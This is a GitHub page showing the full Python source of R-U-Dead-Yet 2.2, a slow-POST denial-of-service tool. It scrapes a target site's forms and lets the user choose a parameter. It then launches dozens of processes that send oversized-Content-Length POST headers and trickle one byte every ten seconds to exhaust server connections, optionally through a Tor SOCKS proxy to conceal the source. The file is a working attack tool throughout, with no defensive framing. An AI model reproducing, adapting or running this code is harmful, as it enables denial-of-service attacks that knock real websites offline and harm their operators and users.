-
Notifications
You must be signed in to change notification settings - Fork 12
Expand file tree
/
Copy pathr-u-dead-yet-v2.2.py
More file actions
294 lines (279 loc) · 11.8 KB
/
r-u-dead-yet-v2.2.py
File metadata and controls
294 lines (279 loc) · 11.8 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
#!/usr/bin/env python
"""
R-U-Dead-Yet version 2.2
Copyright 2010-2011, Raviv Raz
R-U-Dead-Yet is distributed under the terms of the GNU General Public License
R-U-Dead-Yet is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
"""
from sys import argv
from multiprocessing import Process,Queue,freeze_support
from socks import socksocket,PROXY_TYPE_SOCKS4
import socket
from BeautifulSoup import BeautifulSoup
from urllib2 import urlopen
from urlparse import urljoin,urlparse
import re
from time import sleep
from ConfigParser import ConfigParser
class Parser():
def __init__(self, _base_url, _html):
self.base_url = _base_url
self.html = _html
self.description = ''
self.i_links = []
self.get_params = []
self.get_actions = []
self.get_values = []
self.post_params = []
self.post_actions = []
self.post_values = []
if (not self.parse_links()):
return;
def getForms(self):
forms = {}
for index in range(len(p.post_params)):
if self.post_actions[index] in forms:
if not self.post_params[index] in forms[self.post_actions[index]]:
forms[self.post_actions[index]].append(str(self.post_params[index]))
else:
forms[str(self.post_actions[index])] = [str(self.post_params[index])]
return forms
def parse_links(self):
try :
soup = BeautifulSoup(self.html.lower())
self.fetchParams(soup)
aTags = soup.findAll('a')
for tag in aTags:
if tag.has_key('href'):
link = urljoin(self.base_url, tag['href'])
link = re.sub('\?.*', '', link)
if self.isInternalLink(self.base_url, link) and not link in self.i_links:
self.i_links.append(link)
except Exception, ex:
print "Exception caught:", ex
return False
return True
def stripHttp(self, url):
if url.startswith('http://'):
url = url[7:]
elif url.startswith('https://'):
url = url[8:]
if url.startswith('www.'):
url = url[4:]
elif url.startswith('www2.'):
url = url[5:]
return url
def getDomain(self, url):
url = self.stripHttp(url)
if url.find('/') > 0:
url = url[:url.find('/')]
return url
def isInternalLink(self, base_url, url2):
domain1 = self.getDomain(base_url)
domain2 = self.getDomain(url2)
return domain1 == domain2
def fetchParams(self, soup_html):
forms = soup_html.findAll('form')
for form in forms:
if form.has_key('action'):
if form['action'].find('://') == -1:
action = self.base_url.strip('/') + "/" + form['action'].strip('/')
else:
action = form['action'].strip('/')
else:
action = self.base_url
if form.has_key('method') and form['method'].lower() == 'post':
for post_input in form.findAll("input"):
if post_input.has_key('type'):
if post_input['type'].lower() == 'text' or \
post_input['type'].lower() == 'password' or \
post_input['type'].lower() == 'hidden'or \
post_input['type'].lower() == 'radio':
if post_input.has_key('id'):
self.post_params.append(post_input['id'])
self.post_actions.append(action)
if post_input.has_key('value'):
self.post_values.append(post_input['value'])
else:
self.post_values.append('')
elif post_input.has_key('name'):
self.post_params.append(post_input['name'])
self.post_actions.append(action)
if post_input.has_key('value'):
self.post_values.append(post_input['value'])
else:
self.post_values.append('')
else:
for get_input in form.findAll("input"):
if get_input.has_key('type'):
if get_input['type'].lower() == 'text' or \
get_input['type'].lower() == 'password' or \
get_input['type'].lower() == 'hidden'or \
get_input['type'].lower() == 'radio':
if get_input.has_key('id'):
self.get_params.append(get_input['id'])
self.get_actions.append(action)
if get_input.has_key('value'):
self.get_values.append(get_input['value'])
else:
self.get_values.append('')
elif get_input.has_key('name'):
self.get_params.append(get_input['name'])
self.get_actions.append(action)
if get_input.has_key('value'):
self.get_values.append(get_input['value'])
else:
self.get_values.append('')
class connection:
def __init__(self,host,port,headers,proxy_addr="",proxy_port=0):
self.host = host
self.port = port
self.headers = headers
self.proxy_addr = proxy_addr
self.proxy_port = proxy_port
def connect(self):
if self.proxy_addr != "":
self.s = socksocket()
self.s.setproxy(PROXY_TYPE_SOCKS4,"127.0.0.1",9050)
else:
self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.s.connect((self.host,self.port))
self.s.send(self.headers)
def send(self,data):
self.s.send(data)
def close(self):
self.s.close()
class Client(Process):
def __init__(self,host,port,headers,proxy_addr,proxy_port):
Process.__init__(self)
self.host = host
self.port = port
self.headers = headers
self.proxy_addr = proxy_addr
self.proxy_port = proxy_port
def run(self):
c = connection(self.host,self.port,self.headers,self.proxy_addr,self.proxy_port)
c.connect()
while 1:
c.send("A")
sleep(10)
def readConf():
cfg = ConfigParser()
cfg.read("rudeadyet.conf")
return cfg.get("parameters","URL"),int(cfg.get("parameters","number_of_connections")),cfg.get("parameters","attack_parameter"),cfg.get("parameters","proxy_addr"),int(cfg.get("parameters","proxy_port"))
if __name__ == "__main__":
proxy_addr = ""
proxy_port = 0
proxy_on = False
freeze_support()
if len(argv) == 2:
data = urlopen(argv[1])
html = data.read()
p = Parser(argv[1],html)
u = 0
while u < 1 or u > len(p.getForms().keys()):
print "\nFound %i forms to submit. Please select number of form to use:\n"%len(p.getForms().keys())
for url in p.getForms().keys():
rel_url = str(url[len(argv[1]):])
if rel_url == "":
rel_url = "/"
if rel_url[0] == ".":
rel_url = rel_url[1:]
base = re.findall("https?://[^/]+",argv[1])[0]
printurl = base+rel_url
print p.getForms().keys().index(url)+1,")",printurl
try:
u = int(raw_input("\n> "))
except:
pass
base = re.findall("https?://[^/]+",argv[1])[0]
attack_url = str(p.getForms().keys()[u-1][len(argv[1]):])
if "." == attack_url[0]:
attack_url = attack_url[1:]
attack_url = base+attack_url
params = p.getForms()[p.getForms().keys()[u-1]]
p = 0
while p < 1 or p > len(params):
print "\nFound %i parameters to attack. Please select number of parameter to use:\n"%len(params)
for param in params:
print params.index(param)+1,")",param
try:
p = int(raw_input("\n> "))
except:
pass
print "\nNumber of connections to spawn: (default=50)"
num = raw_input("\n> ")
if num == "":
num_of_processes = 50
else:
num_of_processes = int(num)
attack_parameter = params[p-1]
useProxy = str(raw_input("\nUse SOCKS proxy? [yes/no] (Default=no)\n> "))
if "y" in useProxy.lower():
proxy_on = True
proxy_addr = "127.0.0.1"
proxy_port = 9050
proxy_addr_input = str(raw_input("\nEnter proxy address: (Default=127.0.0.1)\n> ")).strip()
if proxy_addr_input != "":
proxy_addr = proxy_addr_input
proxy_port_input = raw_input("\nEnter proxy port: (Default=9050)\n> ")
if proxy_port_input != "":
proxy_port = int(proxy_addr_input)
else:
print "[!] Using configuration file"
try:
attack_url,num_of_processes,attack_parameter,proxy_addr,proxy_port = readConf()
if proxy_addr != "":
proxy_on = True
except:
print "\n[x] No configuration file found.\nCreate rudeadyet.conf file or enter URL of page with form\n"
raise SystemExit
host = urlparse(attack_url)[1]
if ":" in host:
port = int(re.findall(":([0-9]+)",host)[0])
print "[!] Using port %i"%port
print "[!] Using address:",attack_url
hostname = host[:host.find(":")]
else:
port = 80
hostname = host
data = urlopen(attack_url)
path = urlparse(attack_url)[2]
print "[!] Attacking:",attack_url
print "[!] With parameter:",attack_parameter
if proxy_on:
print "[!] Using proxy server at",proxy_addr+":"+str(proxy_port)
cookies = ""
header_list = str(data.info()).split('\n')
for header in header_list:
if "Set-Cookie" in header: cookies += "Cookie: "+header[header.find("""Set-Cookie: """)+12:]+"\n"
if cookies != "":
headers = """\
POST %(path)s HTTP/1.1
Host: %(host)s
Connection: keep-alive
Content-Length: 100000000
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
%(cookies)s
%(param)s="""%{"path":path,"host":host,"cookies":cookies,"param":attack_parameter}
else:
headers = """\
POST %(path)s HTTP/1.1
Host: %(host)s
Connection: keep-alive
Content-Length: 100000000
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
%(param)s="""%{"path":path,"host":host,"param":attack_parameter}
q = Queue()
for i in range(num_of_processes):
p = Client(hostname,port,headers,proxy_addr,proxy_port).start()
q.put(p,False)